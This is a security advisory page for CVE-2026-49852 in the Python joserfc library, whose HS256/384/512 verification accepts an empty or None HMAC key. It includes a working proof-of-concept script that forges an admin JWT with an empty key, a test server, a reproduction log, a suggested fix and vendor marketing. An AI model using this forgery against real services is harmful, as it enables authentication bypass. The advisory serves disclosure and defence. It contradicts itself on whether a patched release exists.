Summary
joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)
joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.HMACAlgorithm.sign and HMACAlgorithm.verify insrc/joserfc/_rfc7518/jws_algs.py:62-70 feed whateverOctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing_input) because the
attacker trivially reproduces the same digest with no secret knowledge.
This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)
Affected versions
joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.
Privilege required
Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:
OctKey.import_key(os.environ.get("JWT_SECRET", ""))- A key finder callable that returns
""/Nonefor an unknownkid - Default values like
os.getenv("SECRET") or "",cfg.get("secret", "") - Database / Redis row lookup that returns
""for a missing row
Vulnerable code
src/joserfc/_rfc7518/jws_algs.py:43-70:
class HMACAlgorithm(JWSAlgModel):
SHA256 = hashlib.sha256
SHA384 = hashlib.sha384
SHA512 = hashlib.sha512
def __init__(self, sha_type, recommended=False):
self.name = f"HS{sha_type}"
self.description = f"HMAC using SHA-{sha_type}"
self.recommended = recommended
self.hash_alg = getattr(self, f"SHA{sha_type}")
self.algorithm_security = sha_type
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
src/joserfc/_rfc7518/oct_key.py:52-63:
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if len(key.raw_value) < 14:
# https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
The < 14 check only warns; len(key.raw_value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then callshmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.
Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:
def ensure_valid_key!(key)
raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
raise_verify_error!('HMAC key cannot be empty') if key.empty?
end
invoked from both sign(signing_key:) and verify(verification_key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key
raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0).
firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.
How an empty JWT_SECRET reaches hmac.new
- The application calls
joserfc.jwt.decode(value, key, algorithms=["HS256"])
wherekey = OctKey.import_key("")(orOctKey.import_key(b""),
or any custom path that yields anOctKeywhoseraw_valueisb""). decode(src/joserfc/jwt.py:86-117) calls_decode_jws(...)→deserialize_compact(value, key, algorithms, registry).deserialize_compact(src/joserfc/jws.py) dispatches toHMACAlgorithm.verify(signing_input, signature, key).verifycallskey.get_op_key("verify")→ returnsb"".hmac.new(b"", signing_input, sha256).digest()is computed; the
attacker computed exactly that digest with the same empty key, sohmac.compare_digestreturnsTrueand decode succeeds.
No upstream nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.
Proof of concept
Attacker (no secret knowledge):
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
"sub": "attacker", "admin": True,
"iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())
Server harness:
# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server
def app(environ, start_response):
auth = environ.get("HTTP_AUTHORIZATION", "")
token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = ""
try:
tok = jwt.decode(token, key, algorithms=["HS256"])
c = tok.claims
body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
start_response("200 OK", [("Content-Type", "text/plain")])
return [body]
except Exception as e:
start_response("401 Unauthorized", [("Content-Type", "text/plain")])
return [("DENY: %s\n" % e).encode()]
make_server("127.0.0.1", 8383, app).serve_forever()
End-to-end reproduction (against pip install joserfc==1.6.7)
# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
# state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py & # listens on :8383
# 2. Run the attacker
./venv/bin/python attacker.py
Captured run output (canonical pre-fix run, joserfc 1.6.7,poc-attacker-empty-20260523-150949.log):
forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True
Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):
forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:
Interpretation:
| Configuration | Observed | Expected |
|---|---|---|
JWT_SECRET unset (== "") |
HTTP 200, admin=True (verified) |
HTTP 401 |
JWT_SECRET = 256-bit value |
HTTP 401, BadSignatureError |
HTTP 401 |
The first row demonstrates that an attacker with zero knowledge of the
verification secret reaches the protected path by signing with the empty
key. The second row confirms the verifier behaves correctly when the
secret is non-empty, proving the bug is gated only on the secret being
empty rather than on any structural defect in the attacker's token.
Fix verification: with the suggested empty-key reject wired intoHMACAlgorithm.sign / .verify, the empty-secret server re-run rejects
the same forged token with ValueError: HMAC key must not be empty.
Fix PR
authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branchfix/hmac-reject-empty-key, base main. URL:
https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1
Credit
Reported by tonghuaroot.
Impact
- Complete authentication bypass on any service whose key finder resolves
to""/None(env var unset, DB row missing, fallback). Attacker
forges arbitrary claims (sub,admin, scopes, audience, expiry). - The misconfiguration that triggers the bug is silent: the server does
not fail to boot, joserfc emits a singleSecurityWarning("Key size
should be >= 112 bits") atOctKey.import_keytime and then proceeds. - Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N, AC:H because of the
operator-misconfiguration precondition; impact otherwise matches
authentication bypass.
The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard
reject at len(key.raw_value) == 0, plus a defence-in-depth check inHMACAlgorithm.sign and HMACAlgorithm.verify afterkey.get_op_key(...):
# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if not key.raw_value:
raise ValueError("oct key material must not be empty")
if len(key.raw_value) < 14:
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
...
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
if not op_key:
raise ValueError("HMAC key must not be empty")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
if not op_key:
raise ValueError("HMAC key must not be empty")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty inprepare_key, plus the runtime length checks the underlying hmac
primitive does not perform).
Frequently Asked Questions
- What is CVE-2026-49852? CVE-2026-49852 is a high-severity improper authentication vulnerability in joserfc (pip), affecting versions <= 1.6.7. It is fixed in 1.6.8. The application does not adequately verify the identity of a user, device, or process before granting access.
- Which versions of joserfc are affected by CVE-2026-49852? joserfc (pip) versions <= 1.6.7 is affected.
- Is there a fix for CVE-2026-49852? Yes. CVE-2026-49852 is fixed in 1.6.8. Upgrade to this version or later.
- Is CVE-2026-49852 exploitable, and should I be worried? Whether CVE-2026-49852 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-49852 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-49852? Upgrade
joserfcto 1.6.8 or later.